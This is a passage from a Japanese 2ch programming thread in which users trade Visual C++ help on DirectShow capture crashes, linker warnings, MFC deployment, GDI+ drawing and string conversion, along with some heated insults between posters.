2007/03/06(火) 16:31:25http://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html
のソースを参考にDirector用のXtraを作成中なのです。
んで、ソース中の
BITMAPINFO BitmapInfo;
をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。
何故?
ちなみに開発環境はWindowsXP+VC6.0です。
0659デフォルトの名無しさん
2007/03/06(火) 17:20:03コードがおかしいから
0660デフォルトの名無しさん
2007/03/06(火) 17:30:330661658=660
2007/03/06(火) 17:32:110662デフォルトの名無しさん
2007/03/06(火) 17:35:36つーか、Copyで落ちるならサイズ間違ってんだろ
0663658
2007/03/06(火) 17:37:40{
HRESULT hr;
IBaseFilter *pSrcFilter=NULL;
CoInitialize(NULL); // COMの初期化
------------------------------(中略)--------------------------------------------------
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
// ---- キャプチャ開始 ----
pMC -> Run();
//バッファリングを有効にする
pGrab->SetBufferSamples(TRUE);
//ワンショットモードを無効にする
pGrab->SetOneShot(FALSE);
// 画像処理バッファ用メモリ確保
bufferTemp = (BYTE *)malloc(bufsize);
return S_OK;
}
0664デフォルトの名無しさん
2007/03/06(火) 17:38:560665658
2007/03/06(火) 17:41:24#include <windows.h>
#include <dshow.h>
#include <qedit.h> // SampleGrabber用
#include <math.h>
#include <malloc.h>
static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}};
#ifndef __ATLBASE_H__
#include <atlbase.h>
#endif
IGraphBuilder * pGraph = NULL;
IMediaControl * pMC = NULL;
ICaptureGraphBuilder2 * pCapture = NULL;
ICreateDevEnum * pDevEnum = NULL;
IEnumMoniker * pClassEnum = NULL;
IBaseFilter *pbf = NULL;
IMoniker * pMoniker = NULL;
ULONG cFetched;
IBaseFilter *pF = NULL;
ISampleGrabber *pGrab = NULL; // これらは後で解放すること
long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ
BYTE *bufferTemp = NULL;
AM_MEDIA_TYPE amt;
HWND hwnd;
BITMAPINFO BitmapInfo;
HBITMAP hBitmap;
(以下略)
0666デフォルトの名無しさん
2007/03/06(火) 17:43:190667デフォルトの名無しさん
2007/03/06(火) 17:43:24pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
ちゃんと取れてるんだろうな。
エラーチェックぐらいは当然やってるよな?
0668デフォルトの名無しさん
2007/03/06(火) 17:43:59ぐぐれ
0669デフォルトの名無しさん
2007/03/06(火) 17:46:00いかんせんデバッグモードみたいなのがないのですよ。orz
これがXtra開発の嫌なところで(ry
>>658のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。
0671デフォルトの名無しさん
2007/03/06(火) 17:54:400672デフォルトの名無しさん
2007/03/06(火) 17:59:29// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
てな感じにすると普通に動くます。
だけどこれじゃBITMAP情報取れないので意味がない。orz
0673デフォルトの名無しさん
2007/03/06(火) 18:10:50違いがわからんぞ
BITMAPINFO BitmapInfo; の場所だけか?
0674デフォルトの名無しさん
2007/03/06(火) 18:16:49そうなのです。
0675デフォルトの名無しさん
2007/03/06(火) 18:17:22BITMAPINFO tmp;
if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize)
MessageBox(0,"勘弁してよ",0,0);
ってやったらどうなる?
0676デフォルトの名無しさん
2007/03/06(火) 18:20:27本来BitmapInfoは可変サイズだからそのまま宣言することは
あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・
まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ
0677デフォルトの名無しさん
2007/03/06(火) 18:21:030678デフォルトの名無しさん
2007/03/06(火) 18:21:10「勘弁してよ!」って言われた!
・・・つまりどういうこと?(;´д`)
0679デフォルトの名無しさん
2007/03/06(火) 18:21:39初期化してないbiSizeに意味が?
0680デフォルトの名無しさん
2007/03/06(火) 18:25:180681デフォルトの名無しさん
2007/03/06(火) 18:26:42何かとぶつかってんじゃないのか
0682デフォルトの名無しさん
2007/03/06(火) 18:29:52なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz
0683デフォルトの名無しさん
2007/03/06(火) 18:34:050684デフォルトの名無しさん
2007/03/06(火) 18:35:02sprintf(str, "%X", &BitmapInfo);
とかやるもんだ
0686デフォルトの名無しさん
2007/03/06(火) 18:41:410687デフォルトの名無しさん
2007/03/06(火) 18:43:51sizeof(BitmapInfo):44
と出ました。
0688デフォルトの名無しさん
2007/03/06(火) 18:55:13CopyMemoryで落ちるのか?
ローカルでBITMAPINFO を作ってそっからコピーしては。
とにかく、オオボケかましてる率98%だからな
0689デフォルトの名無しさん
2007/03/06(火) 19:07:42大ボケですか・・・orz
class Cam {
BITMAPINFO BInfo;
とか宣言して
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
BInfo = BitmapInfo;
なんてやっても落ちます。
0690デフォルトの名無しさん
2007/03/06(火) 19:14:01落ちるにも色々あるんだ。
落ちた時のエラーメッセージを貼り付けるとよいかと
0691デフォルトの名無しさん
2007/03/06(火) 19:14:22で落ちるのか?
落ちるというのは、その行で落ちるのか?
BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?
0692デフォルトの名無しさん
2007/03/06(火) 19:19:25A fatal error has occurred. Director will quit now.
と出た後
Warning! Director is completely out of memory and
must exit immediately.
てなダイアログが出て終了しま。
0693デフォルトの名無しさん
2007/03/06(火) 19:20:18その行で落ちるので以降アクセスできるかどうかもわかりません。
0694デフォルトの名無しさん
2007/03/06(火) 19:25:58ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
char str[100];
sprintf(str, "%X", &BInfo);
MessageBox(0,str,0,0);
printf(str, "%d", BInfo.bmiHeader.biWidth);
MessageBox(0,str,0,0);
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
てな感じだと普通に動きます。
0695658
2007/03/06(火) 20:32:33とりあえず、もうちょい一人であれこれ考えてみます。
0696デフォルトの名無しさん
2007/03/07(水) 00:09:09こっちで再現できるだけのコードが無いともうわからん
0697デフォルトの名無しさん
2007/03/07(水) 09:12:52ビルドかけると「定義されてません」とコンパイラに怒られます
windows.hはstdafx.h内でインクルードしてあり、stdafx.hもちゃんとインクルードしてます
_WIN32_WINNTの値も問題なく、#ifディレクティブの条件にも合ってます
特に定義がスキップされる要素は無いのになぜ定義されてないと出るのかサッパリわかりません・・・
何か、原因とか手がかりとかわかる方いらっしゃいませんか
0698デフォルトの名無しさん
2007/03/07(水) 10:39:38問題無いと言っている_WIN32_WINNTの値は、具体的には何だ?
stdafx.hをupした方が早いかもしれんな。
あと、とりあえずVCのバージョンは書いとけ。
0699デフォルトの名無しさん
2007/03/07(水) 10:56:520700デフォルトの名無しさん
2007/03/07(水) 11:28:21_WIN32_WINNTは0x0500となってました
(winuser.hのSendInput周辺を囲ってる#ifは_WIN32_WINNT > 0x0400でした)
WINVERの方は覚えてないです・・・
0701デフォルトの名無しさん
2007/03/07(水) 17:59:19VS.NET 2003 VC++ の環境で、
フォームにラベルを配置し、ラベルのMouseMoveイベントに以下のコードを書きました。
// ボタン押下しっぱなしであれば移動
if(e->Button == MouseButtons::Left) {
label_sp->Location.X = e->X;
label_sp->Location.Y = e->Y;
label_sp->Invalidate();
}
私は、このラベルをマウスでドラッグできることを予測して
このコードを書きました。
ところが、ラベルはぴくりとも動いてくれません。
なぜなのでしょうか?
0702701
2007/03/07(水) 18:48:08以下に解決に至ったコードを書きます。
// ボタン押下していれば移動
if(e->Button == MouseButtons::Left) {
int X = Form1::MousePosition.X - Form1::Location.X
int Y = Form1::MousePosition.Y - Form1::Location.Y
label_sp->Location = Point(X, Y);
}
多少ズレはありますがこのようにやってみます。
スレ汚しすみません。
0703デフォルトの名無しさん
2007/03/07(水) 18:56:45スレッドセーフではないと聞きました
VC++2002ですが解決策を教えてください
0704デフォルトの名無しさん
2007/03/07(水) 19:01:54マルチスレッドは良くない。
0705デフォルトの名無しさん
2007/03/07(水) 19:02:360706デフォルトの名無しさん
2007/03/07(水) 19:03:16label_sp->Location = Point(X, Y); // ここ重要
Location.Xは、返された一時オブジェクトに対しての操作なので、
ラベルには反映されなかった。
0707702
2007/03/07(水) 19:27:56あ、いえ、あれで実際動いてますよ?
ラベルのドラックができてます。
まだ、マウスカーソルのサイズ分のズレがありますが、それは調整中です。
回答ありがとうございます。
0708デフォルトの名無しさん
2007/03/07(水) 19:31:11スレッドセーフでないものをスレッドセーフにするには、
ラップすれば良いと何かの本で…
私ごときでは具体例は出せませんが
0709デフォルトの名無しさん
2007/03/07(水) 19:52:02VC++2002がどんな設定だったか覚えていないが
設定でマルチスレッド対応のランタイムライブラリを選べばOK。
(推測)
それとスレッドの作成に
Win32APIのCreateThreadではなく
C言語用かMFC用のを使えばいいんじゃない。
0711デフォルトの名無しさん
2007/03/07(水) 20:07:53マルチってほんとに便利ですね。いらないスレッドはポイですよ。
【初心者歓迎】C/C++室 Ver.35【環境依存OK】
http://pc11.2ch.net/test/read.cgi/tech/1171888583/331
0712デフォルトの名無しさん
2007/03/08(木) 10:59:550713デフォルトの名無しさん
2007/03/08(木) 11:17:00を考えたことあるか?
0714デフォルトの名無しさん
2007/03/08(木) 11:58:240715デフォルトの名無しさん
2007/03/08(木) 13:16:21もともとこの言い回し、WhiteAlbumってゲームに出てきたジャーマネの口癖を
パクッたやつだって知ってるヤツはあまりいまい…
0716デフォルトの名無しさん
2007/03/08(木) 13:35:250717デフォルトの名無しさん
2007/03/08(木) 14:00:280718デフォルトの名無しさん
2007/03/08(木) 18:04:21だったら「〜ですが何か?PART.XX」ってスレ、何度も目撃してるはずだが…
たしか名前は弥生さんだった
スレ違いスマソ
0719デフォルトの名無しさん
2007/03/08(木) 19:49:01最初のうちは入門書に載ってるみたいに色んな機能を併せ持った奴作っていくようにした方がいいんでしょうか?
0720デフォルトの名無しさん
2007/03/08(木) 22:56:09VC .NET 2003 でMFCを使ってプログラムを使うと、他の2003、2000の
環境で「MFC70.DLLがない」というエラーで実行できませんでした。
DLLを入れれば動くのは分かりますが、VCのコンパイルオプションなどで
通常の2000などの環境でも動くように出来ないのでしょうか?
「プロパティ-全般-MFCの使用」でスタティックにすれば実行できましたが、
スタティックにしたために実行ファイルのサイズが大きくなり格好が悪いです。
もっとスマートな方法はないでしょうか?
0721720
2007/03/08(木) 22:56:50VC .NET 2003 でMFCを使ってプログラムを作ると
の間違いでした。
0722デフォルトの名無しさん
2007/03/08(木) 23:16:420723デフォルトの名無しさん
2007/03/08(木) 23:56:130724デフォルトの名無しさん
2007/03/09(金) 00:00:24EXEにMFC70.DLLを同梱
スタティックリンク
MFCを使わない
さあどれでも好きなものを選べ。
0725デフォルトの名無しさん
2007/03/09(金) 00:04:10実行ファイルが凄いことになるよな
併用できるように(試行錯誤で)改造することは出来ても不要なコンポーネントを削ることまでは出来ないから
結局10MbytesのExeとかになっちゃう
そんなのでも一から自分で組むよりはパフォーマンスが良いって言うのが悲しいというか情けないところなんだけど・・・orz
0726720
2007/03/09(金) 00:04:15ありがとうございました。
0727デフォルトの名無しさん
2007/03/09(金) 00:19:34ならんよ。デバッグのままなんじゃないのか
0728デフォルトの名無しさん
2007/03/09(金) 14:54:28どんだけ超大作なんだろうか
0729デフォルトの名無しさん
2007/03/09(金) 15:35:37きっと、いろんな人のコードがいっぱい詰まってるんだね
0730デフォルトの名無しさん
2007/03/09(金) 19:57:120731デフォルトの名無しさん
2007/03/10(土) 12:51:17ライブラリの機能実験のため一杯詰め込んでたの忘れてましたすいません><
0732デフォルトの名無しさん
2007/03/10(土) 13:24:53複数のコントロールをcreateで作成するときに、
リソースIDを割り当てることに困っているのですが、
割り当てようとしているID値が他で使われていないか、
または使われていないID値を返すような関数はありますでしょうか?
よろしくお願いします。
0733デフォルトの名無しさん
2007/03/10(土) 17:29:04使う予定がないんだったら全部staticにしとけばいいし
0734デフォルトの名無しさん
2007/03/10(土) 19:25:05VC2005ならリソースを選択した状態で編集メニューのリソースシンボル。
新規作成で追加し、そのIDを使うようにすれば管理は多少楽かも。
でも使い勝手は良くないな...
0735658
2007/03/10(土) 20:10:15というやりとりを経て戻ってきました。
&BitmapInfo.bmiHeaderの値がおかしい気がするんですが・・・。
0736デフォルトの名無しさん
2007/03/10(土) 20:30:232. デバッガを上手く使う
3. 諦める
少なからず、デバッガについて機能を調べ上手に利用して
原因を特定していくとかいう根性がないようであれば、
VCとは相性が悪かったと思って別の言語に移った方がいい。
VC(というか、C/C++)は結構面倒だ。
Visual Studio でのデバッグ
http://msdn2.microsoft.com/ja-jp/library/sc65sadd(VS.80).aspx
C# なんかメモリなんかあんまり考えなくて済むから割とオススメだぞ。
0737デフォルトの名無しさん
2007/03/10(土) 20:39:09そのとばっちりを受けている場合は直すの大変だよね。
まず原因を探すのが大変。
0738デフォルトの名無しさん
2007/03/10(土) 20:41:04C#使いたいんですがXtraがC++しか対応してないんですよ。orz
0739658
2007/03/10(土) 20:49:45いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz
0740デフォルトの名無しさん
2007/03/10(土) 20:57:54良く解らんけど、何故に VC のデバッガが利用できない?
プラグインとして動作するしかないからか?
もしそれならデバッガのアタッチ機能を使え。プロセスに侵入するんだ。
(とはいえ、Mcromedia製の云々っぽいからデバッガに関連する何かはありそうだが…)
それと、デバッガの機能としての
「特定のメモリアドレスにアクセスした場合にブレーク」
も併用するとよいと思うぞ。
0741デフォルトの名無しさん
2007/03/11(日) 02:19:13ソース上では先にcreateしているのに、
実行時には「画像描画」→「createしたStatic Controlの表示」の順になっているためか、
画像の上にstaticがでてしまいます。
どうにかならないでしょうか・・・よろしくお願いします。
0742デフォルトの名無しさん
2007/03/11(日) 08:31:180743741
2007/03/11(日) 08:53:50当方、Staticじゃないと表示させられないという認識でおりました。
他のコントロールでも表示できるのであればそちらでよいと思ってます・・・
0744デフォルトの名無しさん
2007/03/11(日) 09:24:02static使う意味がないんじゃないかということ
0745743
2007/03/11(日) 09:43:50説明がちょっとわかりづらくなっていました。すみません・・・
Static Controlの枠の上にjpgを乗せるということをやりたかったんですが、
どういうわけか画像がStatic Controlの下に隠れてしまうんです。。。
Static Controlの属性が悪いのかなあ・・・
0746デフォルトの名無しさん
2007/03/11(日) 11:21:22オレもSTATIC並べて枠と座標だけ利用することはたまにやる
0747743
2007/03/11(日) 11:26:02回答ありがとうございます。
そのときのStatic Controlのウィンドウスタイルは
どのようになっていますでしょうか?
私は
SS_BITMAP | SS_WHITERECT | WS_BORDER | WS_VISIBLE
でやっているのですが、なにか足りないものがあるでしょうか・・・
よろしくお願いします。
0748デフォルトの名無しさん
2007/03/11(日) 12:14:230749デフォルトの名無しさん
2007/03/11(日) 12:17:050751デフォルトの名無しさん
2007/03/11(日) 13:07:36枠だけとかあるだろ
0753デフォルトの名無しさん
2007/03/11(日) 14:07:000754743
2007/03/11(日) 14:18:25GODと呼ばせてください・・・ できました・・・
今日中に作成しないといけないものだったので、
昨日から胃が痛くてしょうがない状態でした。
ありがとう、本当にありがとうございました!
0755デフォルトの名無しさん
2007/03/13(火) 18:36:23あああ…。悲しいなそれは。
0756デフォルトの名無しさん
2007/03/15(木) 15:56:25MS VC++.NET 2003 なのですが、以下のソースで三角を描画しました。
Pen * pen = new Pen(Color::Black);
Point poly[] = { p1, p2, p3 };
g->DrawPolygon(pen, poly);
これは成功しました。
今度はこれを塗りつぶしたいのですが、どうすれば良いのでしょうか?
ここでのBrushの使い方がいまいち分かりません。
よろしくお願いします。
0757デフォルトの名無しさん
2007/03/15(木) 16:18:340758デフォルトの名無しさん
2007/03/15(木) 16:20:18FillPolygonはDrawでPenを引数に取っていた代わりにBrushを引数に取る。
単色に塗り潰すブラシはBrushの派生の1つSolidBrush、ほかにも何種類かブラシがある。
だから結局こうなる。
Brush* brush = new Brush(Color::Black);
Point poly[] = {p1, p2, p3};
g->FillPolygon(brush, poly);
0759デフォルトの名無しさん
2007/03/15(木) 17:03:50既設のvc++のソースを調査しています。
上記、処理の実行結果(w)には何が設定されるかわかりません。
*((ULONG *) ってどういう意味ですか?
ご存知の方、ご教授願います。
0760デフォルトの名無しさん
2007/03/15(木) 17:05:360761デフォルトの名無しさん
2007/03/15(木) 17:09:220762デフォルトの名無しさん
2007/03/15(木) 19:05:02・メモ帳でunicode形式で保存したファイルを CStdioFile::ReadString()した時
意図しない動作をするので unicode形式のファイルの中身をコードで確認したい
Visual C++ standard editionです。
ヘルプで検索するとデバッグ時のメモリダンプばかりヒットしてしまいます。
よろしくお願いします。
0763デフォルトの名無しさん
2007/03/15(木) 19:08:560764デフォルトの名無しさん
2007/03/15(木) 19:13:42どのバージョンかわからんのであれだが、
ファイルメニュー - 開く - ファイル で出たダイアログで
ファイルを選択し、開くボタンの右の矢印を押して
ファイルを開くアプリケーションの選択からバイナリエディタを選べばいける
バージョンによって開き方が違うかも
0765デフォルトの名無しさん
2007/03/15(木) 19:23:39VC++2005 でバイナリエディタ開けました! ありがとうございます。
>>763
レス �d。
0766658
2007/03/21(水) 14:10:17ご迷惑をおかけしました。
迷惑ついでにもうひとつ質問が。
コンパイル時にLNK 4006のwarningが大量発生するのです。
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IRegFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _CLSID_FilgraphManager は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IQueueCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IDeferredCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
といった感じのが1000近く出ます。
動くので問題はないんですが、コンパイル時にウザいので解決したいなーと思った次第です。
どなたか解決方法をご存知の方はいらっしゃいますでしょうか?
0767デフォルトの名無しさん
2007/03/21(水) 14:53:350768デフォルトの名無しさん
2007/03/21(水) 14:58:28>>766
リンク指定してるライブラリを調べてみて。重複してないか?
0769658
2007/03/21(水) 15:09:23効かないようです。
>>768
winmm.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib strmbasd.lib
以上がリンクしているライブラリですね。
0770658
2007/03/21(水) 15:26:06それがまずいんでしょうか?
0771658
2007/03/21(水) 15:45:25数が700くらいまで減りましたがまだ大量に発生中です。
http://www.users.gr.jp/blogs/hidori/archive/2005/02/14/8990.aspx
これズバリだと思ってこのとおりに試してもダメでした。
リンク先のmsdnサイトのやり方も試してみましたがダメです。orz.......
0772デフォルトの名無しさん
2007/03/21(水) 16:34:06それはデフォルトライブラリの使用をありにしたうえで別に指定しているのか?
0773658
2007/03/21(水) 16:43:51今出先なんで確認できないんですが、多分デフォルトありにしてます。
帰ったら早速調べてみます。
0774デフォルトの名無しさん
2007/03/21(水) 17:02:25> 向こうでも書きましたが、動きますた
原因と問題解決方法と書いておけ。
将来的に同じような所で躓くヤツも居るだろう。
0775658
2007/03/21(水) 18:13:52「デフォルトライブラリをすべて無視」にチェック入れても同じ状態(というかリンクエラーが追加される)ですた。
>>774
原因:DVSD形式でデータが流れてくるためDIB形式に変換しようとしたら失敗する。
対処:
AM_MEDIA_TYPE amt;
ZeroMemory(&amt, sizeof(AM_MEDIA_TYPE));
amt.majortype = MEDIATYPE_Video;
amt.subtype = MEDIASUBTYPE_RGB24;
amt.formattype = FORMAT_VideoInfo;
pGrab -> SetMediaType( &amt );
といった感じで一度RGB24形式に指定してあげた後
pGrab -> GetConnectedMediaType( &amt );
で再度取得する。
というかリンク先のソースをコピペでも動くます。
ttp://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html
CopyMemoryで落ちるとか、ヘッダに書くと動かないってのは謎のままです。orz
0776デフォルトの名無しさん
2007/03/21(水) 18:43:00拾って来たソース適当にコピペしたら動きました。
でもワーニング出まくりです。
0777デフォルトの名無しさん
2007/03/21(水) 18:52:44だから、どこでも#defineせずにlibを含めるか、どこか1つの翻訳単位で
実体化させて、UUIDの含まれたlibはリンクしないか、どちから。
0779デフォルトの名無しさん
2007/03/24(土) 12:59:05CBitmapでは拡張子.jpgのファイルは開けないのでしょうか?
0780デフォルトの名無しさん
2007/03/24(土) 13:17:520781デフォルトの名無しさん
2007/03/24(土) 13:20:13サンプルはググればいくらでもある。
0782779
2007/03/24(土) 21:33:45お前ら3日も書き込みのなかったスレで即レスしすぎだぜ。
でもサンキュー。
OleLoadPictureで出来そうなので試してくる。
0783デフォルトの名無しさん
2007/03/25(日) 02:13:51簡単な関数orマクロはありませんか?
OutputDebugStringのファイル出力版みたいなもので。
0784デフォルトの名無しさん
2007/03/25(日) 02:31:45そういえばVCには独自のデバッグ用の便利な関数があったなぁ。詳細は覚えてないけど。
OutputDebugString を undef した後で
#define OutputDebugString(X) fprintf(stderr, "%s\n", X)
とかやってプログラムを実行するときに hoge.exe 2>debug.log とかってしちゃえば?
0785デフォルトの名無しさん
2007/03/25(日) 02:34:33と関連する関数・マクロを利用する方法はあるけど、
自作しても良い気がする。
ちなみに、OutputDebugString はりリース時でも有効だぞ。
0786783
2007/03/25(日) 02:47:12回答してくださった方々、どうもありがとうございます。
ほんとだ、リリース時でもOutputDebugStringは有効だ…。
0787デフォルトの名無しさん
2007/03/25(日) 10:15:38c_printfunc()にファイル名を渡して、c_printfunc()の中でファイル名を出力する」です。
c_printfunc()はCまたはC++形式で記述したいです。
ファイル名の型は、Form1.h内(VC++側)ではString^、c_printfunc.cpp内(C側)では
wchar_t*なので、キャストしてある(つもりです)。
ビルドは正常終了するのですが、実行してオープンファイルダイアログのOKボタン
を押しても何も出力されません。
どうすればファイル名を出力することができますか?よろしくお願いします。
-----Form1.h-----
void c_printfunc(const wchar_t*){}
private: System::Void openFileDialog1_FileOk(System::Object^ sender,
System::ComponentModel::CancelEventArgs^ e) {
String^ fname;
fname = openFileDialog1->FileName;
pin_ptr<const wchar_t> wch = PtrToStringChars(fname);
c_printfunc(wch);
}
-----c_printfunc.cpp-----
#include "stdafx.h"
void c_printfunc(const wchar_t* str) {
printf("%s\n", str);
}
-----環境-----
Windows2000
VisualC++2005ExpressEdition
0788デフォルトの名無しさん
2007/03/25(日) 11:05:36これってコンソールアプリなの?
0789デフォルトの名無しさん
2007/03/25(日) 11:25:52× printf("%s\n", str);
○ printf("%S\n", str);
○ wprintf(L"%s\n", str);
○ _tprintf(_T("%ls\n"), str); // 推奨
0790デフォルトの名無しさん
2007/03/25(日) 11:29:38Windowsフォームアプリケーションで作成しています。
作りたいもののイメージとしては、得点を集計するアプリケーションで、得点ファイル
(テキストファイル)を読み込み、集計してフォーム(データグリッド)に出力したり、
ファイルに出力することを考えています。
集計ファイルの読込・集計・出力部分はC言語で既に作成してあり、今回はGUI部分を
VC++で作ろうとして手を出した所すでにつまずいている状態です。
VC++とC言語の連携部分がさっぱりわかりません。
どうやれば既存のC言語のソースをVC++に組み込めるのか、そもそもmain関数はどこから
呼ばれるのか、>>787のようなprintfの出力はどこに出力されるのかも謎です。
Webでも調べたのですが、VC++に既存のC言語を組み込むようなことは見つからず
「なんかまったく見当違いの事をしているのでは」と困っています。
今真っ暗闇です。ヒントでもいいので御助言お願いします・・。
0791デフォルトの名無しさん
2007/03/25(日) 11:38:47普通はコマンドプロンプト
0792デフォルトの名無しさん
2007/03/25(日) 11:40:300793デフォルトの名無しさん
2007/03/25(日) 11:44:00まさかVCはC++しか使えないとか思ってんのか?
0794デフォルトの名無しさん
2007/03/25(日) 12:04:13コンソールがないからprintfなどは表示されないよ。
確認したいだけならデバッガで見ればいい。
表示しなければいけないならエディットコントロールとかだな。
たぶん。.NET使ってないからよくわからんけど。
0795デフォルトの名無しさん
2007/03/25(日) 12:07:26イベントなどをプロパティウィンドウなどから追加したときの
「TODO:〜」という勝手に追加されるのコメント行が文字化けしています。
(本来なら「ここに〜を追加します」とかいうのが書かれているのだと思います)
最初にプロジェクトを作った際に生成される雛形のソースでは
特に文字化けしていませんし、当然自分で打ち込んだ日本語も文字化けはしません。
どこか設定でも悪いのでしょうか?
0796デフォルトの名無しさん
2007/03/25(日) 12:16:21文字化けの原因なんて文字コードの相違以外ねぇし
その文字化けするヤツは
どういう環境でファイルが作られて、どういう環境で表示してんだよ
0797デフォルトの名無しさん
2007/03/25(日) 12:40:26それ自体が目的じゃなかったら普通は使わない。
0798デフォルトの名無しさん
2007/03/25(日) 13:14:58>どういう環境でファイルが作られて、どういう環境で表示してんだよ
>>MFCを使っているんですが、 イベントなどをプロパティウィンドウなどから追加したときの
>どういう環境でファイルが作られて、どういう環境で表示してんだよ
MFC使ってVCスレで質問してるのに、どういう環境があるってんだ?
特別な環境なら書くっての。当たり前の事を聞かなきゃわかんねーか?糞馬鹿が。
文字コードの問題だなんてのは分かりきったことだが
それをどうすれば直せるのか?という質問だ。バカかよおまえ。
わからねぇなら黙ってろよ。
0799デフォルトの名無しさん
2007/03/25(日) 13:25:56それをインストールするWindowsも様々なバージョンやエディション、言語の違いがあるし。
0800デフォルトの名無しさん
2007/03/25(日) 13:34:50作りたいもののイメージの部分を見る限りprintfは必要無いように見えるんだけど。
単にデバッグ時に内容を確認したいだけなら
System::Diagnostics::Trace::WriteLine(openFileDialog1->FileName) ;
でVCの出力ウィンドウに表示される。
フォームに表示するならフォーム上にラベルでも貼り付けて、そこに表示すれば良い。
普通はフォームアプリではprintf系の命令は使わない。
0801デフォルトの名無しさん
2007/03/25(日) 13:39:13Win2000つかってようがXPつかってようが
VC6つかってようがVS2005つかってようが。
シラネーことをとぼけるために口実作るな。
シラネーなら最初から黙ってろ。
0802デフォルトの名無しさん
2007/03/25(日) 13:43:08聞く場所間違ってた。790程度の質問にも端的に答えられねぇで
グズグズグズグズ回りくどい教え方してんのな・・・
アホなのか嫌がらせのつもりなのか・・・
0803787
2007/03/25(日) 13:57:45>>787で質問しました、fnameの型をStringからchar*に変換するところです。
char*にさえ変換(その逆も)さえ出来ればc_printfunc()内でfopenや、malloc等を
使ってC言語ライクに記述できると思ったのですが、あまりこういうことは
やらないのでしょうか?
開発の経験もないので、スタンダードなやり方ありましたら教えて欲しいです。
0804デフォルトの名無しさん
2007/03/25(日) 14:03:13だから最初から文字コードの違いしかないと言われてるじゃないかw
逐一口調まで変えて煽りとはご苦労なこった
>>803
Win32APIにワイド文字とマルチバイト文字を相互変換するのがあるよ
0805デフォルトの名無しさん
2007/03/25(日) 14:04:43俺だったら
C言語ライクにするならCLIとかmanagedじゃないものにして
設定がunocodeになっているところを変える。
だって文字列を使うたびにunicodeとshift-jis変換しなきゃならないなんて大変でしょ。
unicode用のc_printfunc作ったほうがよくない?
0806名無しさん@お腹いっぱい。
2007/03/25(日) 14:07:45だからどこでどうやってそれを直すのかという質問してんだろうがクズ。
Winのコンパネで直すのかIDEの設定で直るのか。
そしてさっき言ったようにこの程度のことなら読み替え可能。
知ってるならさっさと教えろ禿げ。
シラネーなら質問の仕方のせいにしないで黙ってろ。
0807デフォルトの名無しさん
2007/03/25(日) 14:08:470808名無しさん@お腹いっぱい。
2007/03/25(日) 14:10:42シラネーならシラネーって素直に言えよ、うすら禿げ。
0809デフォルトの名無しさん
2007/03/25(日) 14:12:510810名無しさん@お腹いっぱい。
2007/03/25(日) 14:15:06知ってる人が答えてくれればいい。それだけ。
回答能力ないなら黙ってろ。
>>1のテンプレなんかに何の権威を感じてんの?ばかじゃね?
0811デフォルトの名無しさん
2007/03/25(日) 14:15:11再インストールしてみれば直るんじゃない?
0812デフォルトの名無しさん
2007/03/25(日) 14:16:28じゃあ黙ってるわw
0813名無しさん@お腹いっぱい。
2007/03/25(日) 14:17:00そうですか。
他に心当たりのある人教えてください。
0814名無しさん@お腹いっぱい。
2007/03/25(日) 14:17:33はい、知らないなら口出ししないで下さい。邪魔ですから。
0815デフォルトの名無しさん
2007/03/25(日) 14:18:47Marshal::StringToHGlobalAnsiで出来るけど char *じゃなくwchar_tじゃなかったの?
その場合StringToHGlobalAutoとかStringToHGlobalUniも参照。
使い終わったら開放も必要。
